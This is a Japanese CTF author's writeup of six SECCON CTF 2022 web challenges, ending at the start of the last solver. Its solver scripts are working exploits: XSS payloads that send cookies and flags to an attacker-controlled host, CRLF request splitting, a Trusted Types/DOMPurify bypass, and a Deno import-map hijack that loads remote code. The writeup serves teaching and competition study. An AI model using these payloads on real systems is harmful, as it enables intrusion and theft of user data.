SECCON CTFに参加いただいたみなさん、ありがとうございます。感想やwriteupなどをたのしみにしています! 去年 に引き続きSECCON CTF 2022 Qualsでいくつか作問したので、それらのwriteupです。
The English version is here ! 今年は以下の問題をつくりました:
Challenge Category Difficulty Keywords Solved skipinx web wamup query parser, DoS 102 easylfi web easy curl, URL globbing, LFI 62 bffcalc web medium CRLF injection, request splitting 41 piyosay web medium Trusted Types, DOMPurify, RegExp 19 denobox web medium-hard prototype pollution, import maps 1 spanote web hard Chrome, disk cache, bfcache 1 latexipy misc easy pyjail, magic comment 8 txtchecker misc medium magic file, ReDoS 23 noiseccon misc medium-hard Perlin noise 22
この記事では各問題の問題概要と解法のみ書きます。作問感想や裏話は別記事として書く予定ですのでお楽しみに(?)
なお、各問題のソースコードやソルバはmy-ctf-challenges のリポジトリに追加しています。
[web] skipinx Description:
ALL YOU HAVE TO DO IS SKIP NGINX
http://skipinx.seccon.games:8080
Overview シンプルなサーバサイド問です。
アクセスすると、Access here directly, not via nginx :(
と返ってきます。
nginx/default.conf
:
1 2 3 4 5 6 7 8 9 server { listen 8080 default_server; server_name nginx; location / { set $args "${args} &proxy=nginx" ; proxy_pass http://web:3000; } }
nginxは、リクエストにproxy=nginx
のクエリパラメータを付与して後段のサーバにプロキシします。
web/index.js
:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 const app = require ("express" )();const FLAG = process.env .FLAG ?? "SECCON{dummy}" ;const PORT = 3000 ;app.get ("/" , (req, res ) => { req.query .proxy .includes ("nginx" ) ? res.status (400 ).send ("Access here directly, not via nginx :(" ) : res.send (`Congratz! You got a flag: ${FLAG} ` ); }); app.listen ({ port : PORT , host : "0.0.0.0" }, () => { console .log (`Server listening at ${PORT} ` ); });
後段のサーバ(express)はそのクエリパラメータが付いていない場合のみフラグを返します。
nginxを経由せずにアクセスしたらフラグが手に入るが、そんなことはできるだろうか?という問題です。 もちろんそんなことは不可能なので、うまくbypassしましょう。
Solution expressはデフォルトのクエリパーサとしてqsを利用しています:
expressはqsに渡すオプションにすべてデフォルト値を使っています:
parameterLimit
オプションはクエリパラメータの上限数を指定する値であり、デフォルト値は1000
です。 実装を確認すると:
1 2 3 var limit = options.parameterLimit === Infinity ? undefined : options.parameterLimit ;var parts = cleanStr.split (options.delimiter , limit);
とあり、parameterLimit
個以降のクエリパラメータをすべて無視していることがわかります。
つまり、1000
個以上のクエリパラメータが付いたリクエストを送ると、nginxの付与したproxy=nginx
は無視されるようになり、bypassが可能になります。
Solver 1 2 3 4 5 6 7 8 9 10 11 import osimport httpxBASE_URL = "http://skipinx.seccon.games:8080" PARAMETER_LIMIT = 1000 query = "proxy=something" + ("&" *(PARAMETER_LIMIT - 1 )) res = httpx.get(f"{BASE_URL} /?{query} " ) print (res.text)
Flag 1 SECCON{sometimes_deFault_options_are_useful_to_bypa55}
[web] easylfi Description:
Can you read my secret?
http://easylfi.seccon.games:3000
Overview サーバサイド問です。
ページにアクセス:
test
をsubmitすると/hello.html?%7Bname%7D=test
に飛ばされる:
ソースコード(web/app.py
):
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 from flask import Flask, request, Responseimport subprocessimport osapp = Flask(__name__) def validate (key: str ) -> bool : if len (key) == 0 : return False is_valid = True for i, c in enumerate (key): if i == 0 : is_valid &= c == "{" elif i == len (key) - 1 : is_valid &= c == "}" else : is_valid &= c != "{" and c != "}" return is_valid def template (text: str , params: dict [str , str ] ) -> str : for key, value in params.items(): if not validate(key): return f"Invalid key: {key} " text = text.replace(key, value) return text @app.after_request def waf (response: Response ): if b"SECCON" in b"" .join(response.response): return Response("Try harder" ) return response @app.route("/" ) @app.route("/<path:filename>" ) def index (filename: str = "index.html" ): if ".." in filename or "%" in filename: return "Do not try path traversal :(" try : proc = subprocess.run( ["curl" , f"file://{os.getcwd()} /public/{filename} " ], capture_output=True , timeout=1 , ) except subprocess.TimeoutExpired: return "Timeout" if proc.returncode != 0 : return "Something wrong..." return template(proc.stdout.decode(), request.args)
サーバ上の/flag.txt
からフラグを盗む問題です。
Solution Step 1: path traversal サーバ上では、ファイルの中身を見るためにcurlを使っています:
1 2 3 4 5 proc = subprocess.run( ["curl" , f"file://{os.getcwd()} /public/{filename} " ], capture_output=True , timeout=1 , )
/flag.txt
を表示するためにはpath traversalをしたくなりますが、
1 2 if ".." in filename or "%" in filename: return "Do not try path traversal :("
で防がれています。
ところでcurlにはURL globbing という機能があり、一度に複数のURLへのアクセスが可能です。 実はこの機能を使えばbypassが可能です:
1 2 3 4 5 6 7 8 9 $ http "http://localhost:3000/.{.}/.{.}/flag.txt" HTTP/1.1 200 OK Connection: close Content-Length: 10 Content-Type: text/html; charset=utf-8 Date: Sat, 05 Nov 2022 12:09:18 GMT Server: Werkzeug/2.2.2 Python/3.10.8 Try harder
ただし、
1 2 3 4 5 @app.after_request def waf (response: Response ): if b"SECCON" in b"" .join(response.response): return Response("Try harder" ) return response
のWAFによって、フラグをそのまま表示することができないのでもう1段階なにかをする必要があります。
Step 2: bypassing WAF サーバは、curlの出力結果を
1 return template(proc.stdout.decode(), request.args)
で変換したあとにレスポンスとして返しています。
テンプレートエンジンの実装は以下のとおり:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 def validate (key: str ) -> bool : if len (key) == 0 : return False is_valid = True for i, c in enumerate (key): if i == 0 : is_valid &= c == "{" elif i == len (key) - 1 : is_valid &= c == "}" else : is_valid &= c != "{" and c != "}" return is_valid def template (text: str , params: dict [str , str ] ) -> str : for key, value in params.items(): if not validate(key): return f"Invalid key: {key} " text = text.replace(key, value) return text
この処理を悪用して、フラグからSECCON
の文字列を消してフラグの中身部分を返すようにすることはできないでしょうか。
まず重要なポイントとしてvalidate
関数にはバグがあり、実はvalidate("{")
がTrue
を返します。 このバグとcurlのURL globbingの挙動を利用してうまくbypassします。
例えば、
URL: file:///app/public/{.}./{.}./{app/public/hello.html,flag.txt}
params: 1 2 3 4 5 { "{name}" : "{" , "{" : "}{" , "{!</h1>\n</body>\n</html>\n--_curl_--file:///app/public/../../flag.txt\nSECCON}" : "" }
でbypassが可能です。
テンプレートエンジン内での置換の過程は以下のとおりです。
最初:
1 2 3 4 5 6 7 ... snip ... <body> <h1>Hello, {name}!</h1> </body> </html> --_curl_--file:///app/public/../../flag.txt SECCON{real_flag}
"{name}"
→ "{"
:
1 2 3 4 5 6 7 ... snip ... <body> <h1>Hello, {!</h1> </body> </html> --_curl_--file:///app/public/../../flag.txt SECCON{real_flag}
"{"
→ "}{"
:
1 2 3 4 5 6 7 ... snip ... <body> <h1>Hello, }{!</h1> </body> </html> --_curl_--file:///app/public/../../flag.txt SECCON}{real_flag}
"{!</h1>\n</body>\n</html>\n--_curl_--file:///app/public/../../flag.txt\nSECCON}"
→ ""
:
1 2 3 ... snip ... <body> <h1>Hello, }{real_flag}
Solver 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 import osimport httpxBASE_URL = f"http://easylfi.seccon.games:3000" res = httpx.get( BASE_URL + "/{.}./{.}./{app/public/hello.html,flag.txt}" , params={ "{name}" : "{" , "{" : "}{" , "{!</h1>\n</body>\n</html>\n--_curl_--file:///app/public/../../flag.txt\nSECCON}" : "" , }, ) print ("SECCON" + res.text.split("<h1>Hello, }" )[1 ])
Flag 1 SECCON{i_lik3_fe4ture_of_copy_aS_cur1_in_br0wser}
[web] bffcalc Description:
There is a simple calculator!
http://bffcalc.seccon.games:3000
Overview 簡単な演算を計算してくれるWebサービスです。
構成は複雑でdocker-copmose.yml
は以下のとおりです:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 version: "3" services: nginx: build: ./nginx restart: always ports: - "3000:3000" bff: build: ./bff restart: always backend: build: ./backend restart: always report: build: ./report restart: always bot: build: ./bot restart: always environment: - FLAG=SECCON{dummydummy}
ページにアクセスするときはnginx
→bff
→backend
の経路になっています。
nginx
: bff
とreport
へのプロキシ bff
: 静的ファイルの配信とbackend
へのプロキシ backend
: 簡単な演算の計算を行う フレームワークにはpython製のcherrypy が使われています。 また、フラグはbotのcookieにセットされます。
Solution Step 1: XSS まず、index.html
の
1 2 const result = await (await fetch ("/api?expr=" + encodeURIComponent (expr))).text ();document .getElementById ("result" ).innerHTML = result || " " ;
で自明なXSS脆弱性があります。
ただし、botのcookieにはHttpOnly属性が付いているため、document.cookie
経由ではcookieの中身が読めません。
Step 2: CRLF injection bff
がbackend
に中継する処理は以下のようになっています:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 def proxy (req ) -> str : sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.connect(("backend" , 3000 )) sock.settimeout(1 ) payload = "" method = req.method path = req.path_info if req.query_string: path += "?" + req.query_string payload += f"{method} {path} HTTP/1.1\r\n" for k, v in req.headers.items(): payload += f"{k} : {v} \r\n" payload += "\r\n" sock.send(payload.encode()) time.sleep(.3 ) try : data = sock.recv(4096 ) body = data.split(b"\r\n\r\n" , 1 )[1 ].decode() except (IndexError, TimeoutError) as e: print (e) body = str (e) return body
socket
で直接HTTPリクエストのペイロードを組んでいるため、ここでなんらかの悪さができそうです。
ここで、cherrypyのヘッダ周りの処理を確認すると:
ヘッダのvalueに対してRFC 2047 に従ったdecode処理が行われていることがわかります。 よって、\r\n
をエンコードしたヘッダを送信することによって上記のproxy
関数に対してCRLF injectionを行うことが可能になります。
Step 3: HttpOnly cookie exposure CRLF injectionをうまく利用することによって、リクエスト時に一緒に送信されるcookieの値がレスポンスのbody内に含まれるようなリクエストを構成することはできるだろうか?
backend
はcherrypyで実装されていますが、WSGIとしてwaitress も使われています。waitressの実装を読むと
にて、HTTPリクエストの1行目が不正な場合に、そのHTTPメソッドを含むエラー文を載せてレスポンスする挙動になっていることがわかります。 これを利用して、つまり、cookieの値部分がHTTPメソッドの位置になるようにリクエストを構成することによって、そのレスポンスのbodyからcookieの中身を取得することを考えます。
これはCRLF injectionで1つのリクエストを2つのリクエストに分割(splitting)すれば可能です。HTTPメソッドとなる場所はContent-Length
でうまく調整すれば良いです。
また、該当のエラー文を出力するには、リクエストの1行目を
1 2 3 4 5 6 first_line_re = re.compile ( b"([^ ]+) " b"((?:[^ :?#]+://[^ ?#/]*(?:[0-9]{1,5})?)?[^ ]+)" b"(( HTTP/([0-9.]+))$|$)" )
にマッチさせる必要があります。これは、
1 document .cookie = '/?a=b HTTP/1.1'
のように適当なcookieを付与することで1行目が
1 flag=SECCON{real_flag}; /?a=b HTTP/1.1
となり、正規表現にマッチするようになります。
Solver 以上のステップを組み合わせると、botのHttpOnly cookieの中身を盗むことが可能です:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 const fastify = require ("fastify" )();const fail = (message ) => { console .error (message); return process.exit (1 ); }; const SECCON_BASE_URL = process.env .SECCON_BASE_URL ?? fail ("No SECCON_BASE_URL" );const ATTACK_BASE_URL = process.env .ATTACK_BASE_URL ?? fail ("No ATTACK_BASE_URL" );const LISTEN_PORT = process.env .PORT ?? "8080" ;const sleep = (msec ) => new Promise ((resolve ) => setTimeout (resolve, msec));const exploit = async ( ) => { const encode = (bs ) => { charset = "iso-8859-1" ; encoding = "q" ; encoded_text = Array .from (Buffer .from (bs)) .map ((x ) => "=" + Buffer .from ([x]).toString ("hex" )) .join ("" ); return `=?${charset} ?${encoding} ?${encoded_text} ?=` ; }; const contentLength = "Accept: */*\r\nReferer: http://nginx:3000/\r\nAccept-Encoding: gzip, deflate\r\nAccept-Language: en-US,en;q=0.9\r\nCookie: " .length ; const evilHeader = encode (`bbb\r\nContent-Length: ${contentLength} \r\n` ); const evilJs = ` const main = async () => { document.cookie = '/?a=b HTTP/1.1'; const res = await fetch('/api?expr=1', { method: 'GET', headers: { 'aaa': '${evilHeader} ', }, }); location = '${ATTACK_BASE_URL} /?text=' + encodeURIComponent(await res.text()); }; main(); ` .replaceAll ("\n" , "" ); if (evilJs.includes ('"' )) { fail ("Invalid evilJs" ); } const xssPayload = `<img src=0 onerror="${evilJs} ">` ; const res = await ( await fetch (`${SECCON_BASE_URL} /report` , { method : "POST" , headers : { "Content-Type" : "application/json" , }, body : JSON .stringify ({ expr : xssPayload, }), }) ).text (); console .log (res); }; const start = async ( ) => { fastify.get ("/" , async (req, reply) => { const text = req.query .text ; console .log (text); process.exit (0 ); }); fastify.listen ( { port : LISTEN_PORT , host : "0.0.0.0" }, async (err, address) => { if (err) { fastify.log .error (err); process.exit (1 ); } await sleep (1000 ); await exploit (); await sleep (5000 ); console .log ("Failed" ); process.exit (1 ); } ); }; start ();
Flag 1 SECCON{i5_1t_p0ssible_tO_s7eal_http_only_cooki3_fr0m_XSS}
[web] piyosay Description:
I know the combination of DOMPurify and Trusted Types is a perfect defense for XSS attacks.
http://piyosay.seccon.games:3000
Overview piyo版cowsayです。
クライアントサイド問 CSP: trusted-types default dompurify; require-trusted-types-for 'script'
フラグはbotのcookie 問題の本質部分はweb/result.html
の以下の箇所だけです:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 <!DOCTYPE html > <html > <head > </head > <body style ="padding: 3rem;" > <script > trustedTypes.createPolicy ("default" , { createHTML : (unsafe ) => { return DOMPurify .sanitize (unsafe) .replace (/SECCON{.+}/g , () => { "" .match (/^$/ ); return "SECCON{REDACTED}" ; }); }, }); </script > <script > const get = (path ) => { return path.split ("/" ).reduce ((obj, key ) => obj[key], document .all ); }; const init = async ( ) => { }; const main = async ( ) => { const params = new URLSearchParams (location.search ); const message = `${params.get("message" )} ${ document .cookie.split("FLAG=" )[1 ] ?? "SECCON{dummy}" } ` ; document .cookie = "FLAG=; expires=Thu, 01 Jan 1970 00:00:00 GMT" ; get ("message" ).innerHTML = message; const emoji = get (params.get ("emoji" )); get ("message" ).innerHTML = get ("message" ).innerHTML .replace (/{{emoji}}/g , emoji); }; document .addEventListener ("DOMContentLoaded" , async () => { await init (); await main (); }); </script > </body > </html >
Solution Step 1: XSS with bypassing Trusted Types Trusted Typesの設定は以下のようになっていて、innerHTML
への代入時に必ずcreateHTML
が呼ばれるようになっています:
1 2 3 4 5 6 7 8 9 10 trustedTypes.createPolicy ("default" , { createHTML : (unsafe ) => { return DOMPurify .sanitize (unsafe) .replace (/SECCON{.+}/g , () => { "" .match (/^$/ ); return "SECCON{REDACTED}" ; }); }, });
例えば、以下のような文字列でbypassすることでXSSができます:
1 2 > createHTML ('SECCON{x<p id="}<img src=0 onerror=console.log(1)>"></p>' ) 'SECCON{REDACTED}<img src=0 onerror=console.log(1)>"></p>'
ただし、
1 document .cookie = "FLAG=; expires=Thu, 01 Jan 1970 00:00:00 GMT" ;
でcookieが削除されるため、document.cookie
からフラグを盗むことはできません。
Step 2: RegExp in DOMPurify ところで、createHTML
内の
の処理は何のために行われているのでしょうか?
実はJavaScriptのRegExpにはおもしろい(?)振る舞いがあり、直前の正規表現のマッチ情報をRegExpのプロパティに保存するようになっています:
"".match(/^$/)
はこれらのプロパティを空文字列にするための処理でした。逆にこの処理がなかった場合、replace
内でフラグ文字列がマッチするためRegExp.input
等からフラグを盗むことが可能になります。
なお、RegExp.input
には、例えば
1 document .all ["0" ]["ownerDocument" ]["defaultView" ]["RegExp" ]["input" ]
でアクセスできます。
ところで、DOMPurifyが文字列をどのようにsanitizeしているのかの処理を確認すると、いくつかの箇所で正規表現が使われていることがわかります:
実際に実験すると:
1 2 3 4 5 6 7 8 > DOMPurify .sanitize ('x<script><SECCON{xxx}' ) 'x' > RegExp .input '<SECCON{xxx}' > RegExp .rightContext 'ECCON{xxx}' > document .all ["0" ]["ownerDocument" ]["defaultView" ]["RegExp" ]["rightContext" ] 'ECCON{xxx}'
のようになって、これ挙動は使えそうです。
Step 3: just a XSS puzzle game! 以上のことを踏まえた上で、パズルゲームの要領でがんばるとフラグが手に入ります。
フラグが手に入るURLの構成例:
1 2 3 4 5 6 const emoji = "0/ownerDocument/defaultView/RegExp/rightContext" ;const message = `{{emoji}} S{{emoji}}<p id="}<img src=0 onerror=fetch(\`${ATTACK_BASE_URL} /?text=\`+encodeURIComponent(document.all.message.textContent))>"></p><script><` ;const url = `http://web:3000/result?${new URLSearchParams({ emoji, message, })} ` ;
ECCON{real_flag} SECCON{REDACTED}">
の文字列がATTACK_BASE_URL
に投げられます。 どうしてこうなるのかは、自分の手で確かめてください!
Solver 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 const fastify = require ("fastify" )();const fail = (message ) => { console .error (message); return process.exit (1 ); }; const SECCON_BASE_URL = process.env .SECCON_BASE_URL ?? fail ("No SECCON_BASE_URL" );const ATTACK_BASE_URL = process.env .ATTACK_BASE_URL ?? fail ("No ATTACK_BASE_URL" );const LISTEN_PORT = process.env .PORT ?? "8080" ;const sleep = (msec ) => new Promise ((resolve ) => setTimeout (resolve, msec));const exploit = async ( ) => { const emoji = "0/ownerDocument/defaultView/RegExp/rightContext" ; const message = `{{emoji}} S{{emoji}}<p id="}<img src=0 onerror=fetch(\`${ATTACK_BASE_URL} /?text=\`+encodeURIComponent(document.all.message.textContent))>"></p><script><` ; const url = `http://web:3000/result?${new URLSearchParams({ emoji, message, })} ` ; const res = await ( await fetch (`${SECCON_BASE_URL} /report` , { method : "POST" , headers : { "Content-Type" : "application/json" , }, body : JSON .stringify ({ url, }), }) ).text (); console .log (res); }; const start = async ( ) => { fastify.get ("/" , async (req, reply) => { const text = req.query .text ; console .log ("S" + text); process.exit (0 ); }); fastify.listen ( { port : LISTEN_PORT , host : "0.0.0.0" }, async (err, address) => { if (err) { fastify.log .error (err); process.exit (1 ); } await sleep (1000 ); await exploit (); await sleep (5000 ); console .log ("Failed" ); process.exit (1 ); } ); }; start ();
Flag 1 SECCON{w0w_yoU_div3d_deeeeeep_iNto_DOMPurify}
[web] denobox Description:
Your program runs in a sandbox!
http://denobox.seccon.games:3000
Overview Deno sandbox問です。
サーバサイドはRust製 TypeScriptのプログラムを生成して、サププロセスとしてdenoコマンドを実行する TypeScriptのコードの途中をvalidatorの制約のもとで自由に指定してプログラムを生成:
生成したプログラムに対して入力のJSONデータを指定して実行:
実行して得られたJSONデータを表示:
フラグは生成プログラムの{{FLAG}}
部分で置換されるため、
1 2 3 if ("{{FLAG}}" in output) { delete output["{{FLAG}}" ]; }
の判定箇所でどうにかしてフラグを盗むのがこの問題の目標です。
Solution Step 1: prototype pollution 生成するプログラムは、ASTを走査することで使用可能な文や式が制限されています。 基本的には、入力オブジェクトinput
を加工して出力オブジェクトoutput
を生成するようなプログラムが生成可能です。
制限の例:
1 2 3 4 5 6 7 8 fn validate_identifier (ident: &Ident) -> Result <(), String > { if ident.sym.eq ("input" ) || ident.sym.eq ("output" ) { Ok (()) } else { Err (format! ("{:?}" , ident)) } }
1 2 3 4 5 6 7 8 fn validate_assign_expr (expr: &AssignExpr) -> Result <(), String > { (match expr.left.as_pat () { Some (Pat::Expr (expr)) => validate_expr (expr), _ => Err (format! ("{:?}" , expr.left)), })?; validate_expr (&expr.right)?; Ok (()) }
制限内容を確認するとすぐにわかるように、prototype pollution脆弱性が存在しています。 また、通常のprototype pollutionとは異なり、関数も汚染することが可能というのが特徴的です(ただし、汚染可能な関数はかなり限られている)。
汚染の仕方によって、プログラム後半の
1 2 3 4 5 6 7 if ("{{FLAG}}" in output) { delete output["{{FLAG}}" ]; } const filename = crypto.randomUUID ().replaceAll ("-" , "" ) + ".json" ;await Deno .writeTextFile (filename, JSON .stringify (output));console .log (filename);
部分で何かおもしろいことができないでしょうか?
実は
1 2 "" .constructor .prototype .replaceAll = "" .constructor .raw ;"" .constructor .prototype .raw = input.filename ;
によって、crypto.randomUUID().replaceAll("-", "")
の結果を自由な文字列に指定できるようになります。
これで、拡張子.json
の任意ファイル名で出力データ(JSON)を保存できるようになりました。これをうまく利用する方法はないでしょうか?
ただし
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 let sandbox_path = path::Path::new ("sandbox" ).join (id);let output = async_process::Command::new ("timeout" ) .args ([ "5s" , "deno" , "run" , "--allow-write=." , "main.ts" , &req_body.input, ]) .current_dir (&sandbox_path) .stdout (async_process::Stdio::piped ()) .stderr (async_process::Stdio::piped ()) .output () .await ?;
で--allow-write=.
のオプションが指定されているため、保存先はカレントディレクトリのみ可能です。
Step 2: import maps in Deno Deno v1.18から、「denoコマンド実行時にカレントディレクトリを起点に設定ファイルを探索して見つけた場合はそれを自動読み込みする機能」が追加されています:
今回の問題設定ではdeno.json
というファイル名でJSONファイルがカレントディレクトリに存在すれば、それを設定ファイルとして認識してdeno run
実行時にそれを読み込むようになります。Step 1のprototype pollutionと組み合わせるとこれは可能です。
設定ファイルのスキーマを確認すると、importMap
という興味深い設定項目に気づきます:
1 2 3 4 5 6 7 "importMap" : { "description" : "The location of an import map to be used when resolving modules. If an import map is explicitly specified, it will override this value." , "type" : "string" },
import maps:
これを使えば、https://deno.land/[email protected] /crypto/mod.ts
に対して任意のファイルを割り当てられます。これは自分でホストしたJavaScript/TypeScriptファイルも対象です!
つまり、RCEがなったわけですが、今回のdenoのpermissionは--allow-write=.
であり、直接のファイル読み込みなどはできないことに注意が必要です。
Step 3: JavaScript Proxy 任意のJavaScriptプログラムをcrypto/mod.ts
に割り当てられるようになったため、あとは
1 2 3 if ("{{FLAG}}" in output) { delete output["{{FLAG}}" ]; }
のところでフラグ文字列を盗めるような仕掛けを用意するだけです。
これは以下を参考していい感じのProxyを作成して処理をhookすればOKです:
Solver 以上を組み合わせるとフラグ文字列を奪取できます。
evil.js
:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 export const crypto = { randomUUID : () => ({ replaceAll : () => "dummy" , }), }; const proxy1 = new Proxy ( {}, { has (target, propertyKey ) { console .log (propertyKey); return Reflect .has (...arguments ); }, } ); const proxy2 = new Proxy ( {}, { set (target, property, value, receiver ) { Object .setPrototypeOf (value, proxy1); return Reflect .set (...arguments ); }, } ); JSON .parse = () => proxy2;
index.js
:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 const fastify = require ("fastify" )();const fs = require ("node:fs" );const fail = (message ) => { console .error (message); return process.exit (1 ); }; const SECCON_BASE_URL = process.env .SECCON_BASE_URL || fail ("No SECCON_BASE_URL" );const ATTACK_BASE_URL = process.env .ATTACK_BASE_URL || fail ("No ATTACK_BASE_URL" );const LISTEN_PORT = process.env .PORT || "8080" ;const sleep = (msec ) => new Promise ((resolve ) => setTimeout (resolve, msec));const source = ` output.importMap = input.importMap; output.imports = input.imports; "".constructor.prototype.replaceAll = "".constructor.raw; "".constructor.prototype.raw = input.filename; input.key = output; ` ;const importMapJson = JSON .stringify ({ filename : "import_map" , imports : { "https://deno.land/[email protected] /crypto/mod.ts" : `${ATTACK_BASE_URL} /evil.js` , }, }); const denoJson = JSON .stringify ({ filename : "deno" , importMap : "import_map.json" , }); const exploit = async ( ) => { const path = await ( await fetch (`${SECCON_BASE_URL} /` , { method : "POST" , headers : { "Content-Type" : "application/json" , }, body : JSON .stringify ({ source, }), }) ).text (); await fetch (`${SECCON_BASE_URL} ${path} /run` , { method : "POST" , headers : { "Content-Type" : "application/json" , }, body : JSON .stringify ({ input : importMapJson, }), }); await fetch (`${SECCON_BASE_URL} ${path} /run` , { method : "POST" , headers : { "Content-Type" : "application/json" , }, body : JSON .stringify ({ input : denoJson, }), }); const flag = await ( await fetch (`${SECCON_BASE_URL} ${path} /run` , { method : "POST" , headers : { "Content-Type" : "application/json" , }, body : JSON .stringify ({ input : "" , }), }) ).text (); console .log (flag); }; const start = async ( ) => { const evilJs = fs.readFileSync ("evil.js" ).toString (); fastify.get ("/evil.js" , async (req, reply) => { return evilJs; }); fastify.listen ( { port : LISTEN_PORT , host : "0.0.0.0" }, async (err, address) => { if (err) fail (err); await sleep (1000 ); await exploit (); fastify.close (); } ); }; start ();
Flag 1 SECCON{thE_denO_masc0t_dino5auR_staNding_in_tHe_s4ndbox}
ref. https://github.com/denoland/deno/blob/v1.27.1/README.md?plain=1#L6
[web] spanote Description:
Single Page Application makes our note app simple.
http://spanote.seccon.games:3000
Overview ノートを作成・削除できるメモサービスが与えられます。
ノートの作成:
ノートの削除
botはフラグが書かれたノートを作成後、reportされたURLにアクセスします。
アプリケーションはfetchで情報を取得後DOMを構築するタイプのSPAな構成になっています。 クライアントサイド問ですがCSPは設定されてません。 ページ上にノートの内容を表示するときにはtextContent
に代入をしているため、XSSは一見不可能に見えます。
Solution Step 1: Understanding cache behavior in Google Chrome 先に結論を言うと、想定解ではGoogle Chromeのキャッシュ機構を悪用してXSSを発火させます。 この問題を解くためにはchromeにおけるキャッシュの挙動をある程度知っておく(あるいは実験して色々試す)必要があります。
今回関係するキャッシュは以下の2つです:
back/forward cache (bfcache) disk cache disk cacheのおもしろい挙動として、キャッシュの対象は、ページにレンダリングされるHTTPレスポンスだけでなくfetchで取得したHTTPレスポンスも含むというのがあります。つまり、fetchでアクセスしたリソースに対し、そのdisk cacheが表示されるようにページにアクセスするとそのリソースがページにレンダリングされます。なお、bfcacheにはそのような挙動はありません。
また、もう1つ重要な点があります。back/forward時にそのページに対する有効なキャッシュがbfcacheとdisk cacheで両方にあるとき、bfcacheが優先されることです。そのため、上記のdisk cacheの挙動を発動させるためにはbfcacheが使われない状況にする必要があります。
Step 2: Rendering a fetch response with disk cache 紹介したおもしろい挙動をこの問題でも試してみましょう。
まずはbfcacheを無効にする必要があります。 bfcacheが使われない条件はたくさんあり、そのリストはこちらです:
お手軽なのはRelatedActiveContentsExist
で、window.open()
を使ってwindow.opener
の参照を持つ状態にすることです。これは
でも紹介されています。
よって、以下の手順でおもしろ挙動を再現できます。
適当なページ(例: https://example.com
)にアクセス open("http://spanote.seccon.games:3000/api/token")
を実行 不正なアクセスなので500が返ってくる 開いたタブでhttp://spanote.seccon.games:3000/
にアクセス このとき、http://spanote.seccon.games:3000/api/token
へのfetchのレスポンス結果がキャッシュされる history.back()
を実行 キャッシュされたJSON結果がページ上にレンダリングされる! このとき開発者ツールでNetworkを確認すると、(disk cache)
と表示されてdisk cacheが使われていることがわかります:
Step 3: HTML rendering with handling Content-Type fetchの結果をレンダリングできることがわかったが、このノートアプリがfetchして取得されるレスポンスのContent-Typeはapplication/json
かapplication/octet-stream
だけなので、レンダリングしてもXSSはできません。
どうにかしてtext/html
のレスポンスにできないでしょうか?
ノートの内容は
1 2 3 sendNote (reply, noteId ) { return reply.sendFile (`db/${this .id} /${noteId} ` ); }
で、@fastify/static
を使って配信されています。
実装を確認すると、
にあるように、拡張子によってContent-Typeをきめていることがわかります。text/html
の場合は.html
の拡張子を付ければよいです。
ところでこのノートアプリケーションには自明なCSRF脆弱性があり、ノートの作成と削除に対しては自由にAPIを呼べます。
ノート削除APIに関する処理は以下のとおりです:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 const validate = (id ) => { if (typeof id !== "string" ) { throw Error (`Invalid id: ${id} ` ); } if ( id.includes (".." ) || id.includes ("/" ) || id.includes ("\\" ) || id.includes ("%" ) ) { throw Error (`Invalid id: ${id} ` ); } return id; }; class User { async deleteNote (noteId ) { await fs.writeFile (`db/${this .id} /${noteId} ` , `deleted: ${noteId} ` ); return noteId; } } fastify.post ("/api/notes/delete" , async (request, reply) => { const user = new User (request.session .userId ); const noteId = validate (request.body .noteId ); await user.deleteNote (noteId); return { noteId }; });
noteId
を<img src=0 onerror="alert(1)">.html
に指定して削除APIを投げると、
1 GET /api/notes/<img src=0 onerror="alert(1)">.html
のリクエストでContent-Typeがtext/html
のノートが返ってきます:
これを上記のテクニックでページにレンダリングするとXSSが発火します:
Step 4: Code golf XSSペイロードがそのままURLのパスの一部になるため、あまり長いと攻撃が成功しません。
fastifyの実装を確認すると
で100文字が上限であるため、この文字数以下になるようにコードゴルフする必要があります。
これは例えば:
1 <img src=0 onerror="window.addEventListener('message',e=>eval(e.data))">.html
で達成可能です。
Solver 以上のことを踏まえてフラグ奪取のスクリプトを組み立てます。
public/index.html
:
